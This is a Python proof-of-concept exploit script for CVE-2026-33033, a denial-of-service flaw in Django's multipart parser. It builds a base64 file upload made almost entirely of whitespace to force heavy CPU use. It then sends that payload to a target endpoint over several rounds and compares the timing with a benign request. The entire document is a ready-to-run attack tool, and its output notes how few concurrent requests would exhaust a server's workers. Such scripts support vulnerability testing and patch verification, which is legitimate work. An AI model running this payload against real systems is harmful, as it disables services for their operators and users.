Django MultiPartParser Base64 Whitespace CPU Amplification DoS — CVE-2026-33033

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199

#!/usr/bin/env python3
"""
CVE-2026-33033 — Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser.

This exploit sends a crafted multipart/form-data POST request with a
Content-Transfer-Encoding: base64 file part whose body is almost entirely
whitespace. This forces Django's base64 alignment loop to call
LazyStream.read(1) per whitespace byte, where each read(1) internally
copies ~64 KB via unget(), resulting in ~2,100x CPU amplification.

Usage:
    python exploit.py [--target URL] [--size BYTES] [--rounds N]

Defaults:
    --target  http://127.0.0.1:8000/upload
    --size    2621440   (2.5 MB, Django's default DATA_UPLOAD_MAX_MEMORY_SIZE)
    --rounds  3
"""

import argparse
import sys
import time
import urllib.request


def build_malicious_body(size: int) -> tuple[bytes, str]:
    """
    Build a multipart/form-data body that triggers CVE-2026-33033.

    The payload:
      - Starts with b"AAA" so stripped_chunk = b"AAA" (3 bytes, remaining = 3)
      - Fills the rest with spaces (each strips to nothing, keeping remaining = 3)
      - Ends with b"A" to eventually terminate the loop

    Returns (body_bytes, content_type_header).
    """
    boundary = b"----CVE2026-33033"
    file_data = b"AAA" + b" " * (size - 4) + b"A"

    parts = [
        b"--" + boundary + b"\r\n",
        b'Content-Disposition: form-data; name="file"; filename="poc.bin"\r\n',
        b"Content-Type: application/octet-stream\r\n",
        b"Content-Transfer-Encoding: base64\r\n",
        b"\r\n",
        file_data,
        b"\r\n",
        b"--" + boundary + b"--\r\n",
    ]
    body = b"".join(parts)
    content_type = f"multipart/form-data; boundary={boundary.decode()}"
    return body, content_type


def build_benign_body(size: int) -> tuple[bytes, str]:
    """Build a normal multipart body of the same size (for comparison)."""
    boundary = b"----CVE2026-33033"
    file_data = (b"QUJD" * (size // 4 + 1))[:size]

    parts = [
        b"--" + boundary + b"\r\n",
        b'Content-Disposition: form-data; name="file"; filename="benign.bin"\r\n',
        b"Content-Type: application/octet-stream\r\n",
        b"Content-Transfer-Encoding: base64\r\n",
        b"\r\n",
        file_data,
        b"\r\n",
        b"--" + boundary + b"--\r\n",
    ]
    body = b"".join(parts)
    content_type = f"multipart/form-data; boundary={boundary.decode()}"
    return body, content_type


def send_request(target: str, body: bytes, content_type: str) -> tuple[float, int]:
    """Send a POST request and return (elapsed_seconds, http_status)."""
    req = urllib.request.Request(
        target,
        data=body,
        headers={
            "Content-Type": content_type,
            "Content-Length": str(len(body)),
        },
        method="POST",
    )
    t0 = time.perf_counter()
    try:
        with urllib.request.urlopen(req, timeout=120) as resp:
            resp.read()
            status = resp.status
    except urllib.error.HTTPError as e:
        status = e.code
    except Exception as e:
        print(f"  [!] Request failed: {e}")
        return time.perf_counter() - t0, 0
    elapsed = time.perf_counter() - t0
    return elapsed, status


def check_health(target: str) -> bool:
    """Check if the server is up via the /health endpoint."""
    health_url = target.rsplit("/", 1)[0] + "/health"
    try:
        with urllib.request.urlopen(health_url, timeout=5) as resp:
            return resp.status == 200
    except Exception:
        return False


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-33033 PoC — base64 whitespace CPU amplification in Django"
    )
    parser.add_argument(
        "--target",
        default="http://127.0.0.1:8000/upload",
        help="Target upload endpoint URL (default: http://127.0.0.1:8000/upload)",
    )
    parser.add_argument(
        "--size",
        type=int,
        default=2_621_440,
        help="Payload size in bytes (default: 2621440 = 2.5 MB)",
    )
    parser.add_argument(
        "--rounds",
        type=int,
        default=3,
        help="Number of rounds to send (default: 3)",
    )
    args = parser.parse_args()

    print("=" * 60)
    print("CVE-2026-33033 PoC")
    print("Denial-of-service via base64 whitespace CPU amplification")
    print("in Django MultiPartParser")
    print("=" * 60)
    print(f"\nTarget:       {args.target}")
    print(f"Payload size: {args.size:,} bytes ({args.size / 1024 / 1024:.1f} MB)")
    print(f"Rounds:       {args.rounds}")
    print()

    # Health check
    print("[*] Checking server health...")
    if not check_health(args.target):
        print("[!] Server is not responding. Make sure the victim server is running.")
        print("    See README.md for setup instructions.")
        sys.exit(1)
    print("[+] Server is up.\n")

    # Phase 1: Benign baseline
    print("-" * 60)
    print("[*] Phase 1: Sending BENIGN request (normal base64 data)")
    print("-" * 60)
    benign_body, benign_ct = build_benign_body(args.size)
    benign_elapsed, benign_status = send_request(args.target, benign_body, benign_ct)
    print(f"    Status: {benign_status}")
    print(f"    Time:   {benign_elapsed * 1000:.2f} ms")
    print()

    # Phase 2: Malicious payload
    print("-" * 60)
    print("[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)")
    print("-" * 60)
    attack_times = []
    for i in range(1, args.rounds + 1):
        print(f"\n  Round {i}/{args.rounds}:")
        malicious_body, malicious_ct = build_malicious_body(args.size)
        elapsed, status = send_request(args.target, malicious_body, malicious_ct)
        attack_times.append(elapsed)
        print(f"    Status: {status}")
        print(f"    Time:   {elapsed * 1000:.2f} ms")

    # Summary
    avg_attack = sum(attack_times) / len(attack_times)
    print()
    print("=" * 60)
    print("RESULTS")
    print("=" * 60)
    print(f"  Benign request:    {benign_elapsed * 1000:>10.2f} ms")
    print(f"  Attack average:    {avg_attack * 1000:>10.2f} ms  (over {args.rounds} rounds)")
    if benign_elapsed > 0:
        amplification = avg_attack / benign_elapsed
        print(f"  Amplification:     {amplification:>10.0f}x")
    print()

    if avg_attack > 1.0:
        print("[!] VULNERABLE: Average attack time exceeds 1 second.")
        print(f"    A single 2.5 MB request ties up a worker for ~{avg_attack:.1f}s.")
        print(f"    With 4 workers, just 4 concurrent requests can DoS the server.")
    else:
        print("[*] Attack time is under 1 second. Server may be patched or")
        print("    the payload size is too small to trigger meaningful impact.")
    print()


if __name__ == "__main__":
    main()